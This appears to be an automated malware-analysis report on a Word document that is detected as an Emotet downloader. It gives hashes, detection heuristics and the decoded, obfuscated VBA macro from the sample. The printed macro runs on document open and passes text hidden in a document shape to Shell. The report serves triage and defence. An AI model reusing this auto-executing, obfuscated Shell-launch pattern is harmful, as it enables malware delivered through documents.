Office (OLE) malware analysis — malicious · 012eabed4bf2daf1

MALICIOUS

Office (OLE)

132.4 KB Created: 2018-12-11 08:47:00 Authoring application: Microsoft Office Word First seen: 2019-01-12

MD5: 92308c7bb2b4f9967e1e33d278e70abb SHA-1: 40da314d418f38bb38f8e4708c99bc6d75daf01a SHA-256: 012eabed4bf2daf19261a2ba1de0ca46b92ad61e9bc31a7e4bd13cdd6f8e7c83

292 Risk Score

Heuristics 10

ClamAV: Doc.Downloader.Emotet-6872653-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6872653-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

sjSFLMCPsmfZZkLKB = ZzShDwFoFIPOnLFFcC
VPdoU = Array(PjUAYQ, jzpIhfRY, ACzPvX, Shell(pOoHiw, GAKbCiq), mDlPdOGTN)
   ffscWzliTkjjtQtoYw = zYPdwzkGWHGKAiY

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Customizable = True
Sub autoopen()
wZrELk
```
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2891 bytes
SHA-256: `dc56872f2c7778b1017c877e75cfdc37028ca8a6012e32273e177fbe67579df6`
Detection ClamAV: No threats found Obfuscation or payload: likely 105 of 139 identifiers look randomly generated (e.g. 'YUOikHkpvLtYVoWIhYQQwshI') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "NKpPQdvHWrAS" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub autoopen() wZrELk End Sub Attribute VB_Name = "BHBYZjiEINI" Function wZrELk() On Error Resume Next WmPwkLWjravtWSShpwzLhcU = BwznjQVXEUrPiBm OUczvETwuubLGTJuRJzoO = wbFXoCbDDoJOwNAWKzdBs oJRlKzzVEwVfYAsXPRVrrn = sXwuuwzKMqGnvG CKfWkbXmjVWmnQnzQZI = JmLmpbzIbKjWvSi YUOikHkpvLtYVoWIhYQQwshI = PLVmzrVioYwKdVBCVqih nmobpWCRAfmFBVwODvT = qjPazDDPOdCDbBcYhKK sRRWCTjZCjNQQZZ = HjFZKMEKMAzlJQccMWr iXVOLLwZMdFrSAwi = lwjNHJBVvPlDkDtiMt KrNwPizjuFSJUwHaaKAaN = sQvKVcZLJGHMTiYzQi Set HQdGRFc = NKpPQdvHWrAS.Shapes(TXMTWqw + "wcTAaSnXNz" + DFIUKiwMC).TextFrame sUOqLROSBwbiisZZ = JVjjqAUBIzkHzJQfzhUAiI qrZAzHuCdIpMoicBUuoCSdKB = LDjKFYFBWtsRzVtNwHzKwb XfAGtFjNjXMnEL = YkkLSljkUYvpVVLrrjDMiES apYiXlNjioqMTdp = qPzAWjIPEAqscu ZPNdKaiwjLjwRhi = NQkaXwQkujIiXuVD jRzFAibMSRpmhriamcbrT = awdiiRAYlpfOiQjINmJNE mzBKCbpujHJGCGiKZzcwzLS = GLEpUdsNwUBjESqvq IjnhRponGbFkwbjmDrX = aDPvHhEuGGHjFY jbZuPAjWQHOXZD = OzYpzEUsZkkthAUYi pOoHiw = HQdGRFc.ContainingRange + LiwHAuhw + JirorIHQ + OjzKiGwW + jzBFFkC + FXVEfaFC + LROza + fmdtvLB + KdliH + bTasiTjY KOYfzTvnvLiriTchftLi = UODMiFaBEzPWHVk SNkIBulmvErZjaIiV = qAVTPNVmqMPVbzrRNjb EZcRRdOAVirkBhfkvww = nPDZWadtiPMcDvVQXE UJLmiBKuGwNhCvfRUhSpfzE = PssMTTiwfVrjlasRowzrs ZfOjaRqrPVFaWm = wbmQRBjDwjuoBBi MrMSNwntQFnGWb = EGIqUKbbBsbPAfcp IiOCEKWSVzbOMQQCaazYqT = QZaZYYrWBMVUEvYYTkW zJYXYkGWwCCzoGwcdkzuib = BrvLGBCdnUibHBDBnRU zKVjwzvuimbKVjWjdY = UwYOfKirbajKdJ wuKRAiLuQAdnswwhUh = KzXHrpHYtURIdbIvrBZ mPVXSRFmtzOLkzwTanTb = GRawrzLkAFfuBnudApZjViw GXdfoUEizmjwvYa = tCtsjQiMCqawtrXbV RwBiFEwlvHqzCSGuIMdMYM = VVMVpvWDELPMdfbpIKcwf TCoCEaZXrQEPfJsiHpYE = omGdOhWVCwQDsCKhmrwdhT HNzSzaCmXbrfQhZpsCCoUoMn = iAVwcaEUnwPOPZv Const GAKbCiq = 0 YTwEMvMKdAvftuCknwXuSpO = LJDZklzhDivmYPmhmqnJkfVQ iChqsYiFzsCsmZrCNbOzQM = JqHbBFOfomlGjQqLGM bXkozRwGWEGRYRfXAlwj = iMOFBSHmXQHmjl VaNawbzzSVIjDZnlZ = ziHuJVjOUppLzqOrnq zWBXETpVHoAWCNzdaJb = rqjGHKGXSSMlzKZzw DbUAcZTSmwzMniM = iJnuPtNRDocPZrnAiTG DspDSJMQfsnipYI = urwYDiCZozKUmZSzCXk pujTYLWzwwvPVdAptYDZqQ = UzsdFZpjSoUjzLdAs EbpCuwJZdDiTKzZ = LUjhQXIScaAtAdQXLRlp wmttaNjwdzcXKBMujVi = RnIKzdzOrinIHtfakwUQXisI azzdHjBFcJJditzPU = wKTPQVlJlBSanu uZizkjwlCfkWwB = WACZuzwKicrzuz HDAaFWDrlvDIwwvrkLZO = tiwHEwFzWUjrWjC SGNCCiqKcfXVlMS = RYNVETAZzuObWQa sjSFLMCPsmfZZkLKB = ZzShDwFoFIPOnLFFcC VPdoU = Array(PjUAYQ, jzpIhfRY, ACzPvX, Shell(pOoHiw, GAKbCiq), mDlPdOGTN) ffscWzliTkjjtQtoYw = zYPdwzkGWHGKAiY wodmJsmVJLKDZXFbI = uwQBvclrPXMZiCVzwAvLz ltUlohjwBfCRjaA = sAASdPIkcIiaaEjwkpMWhKo End Function

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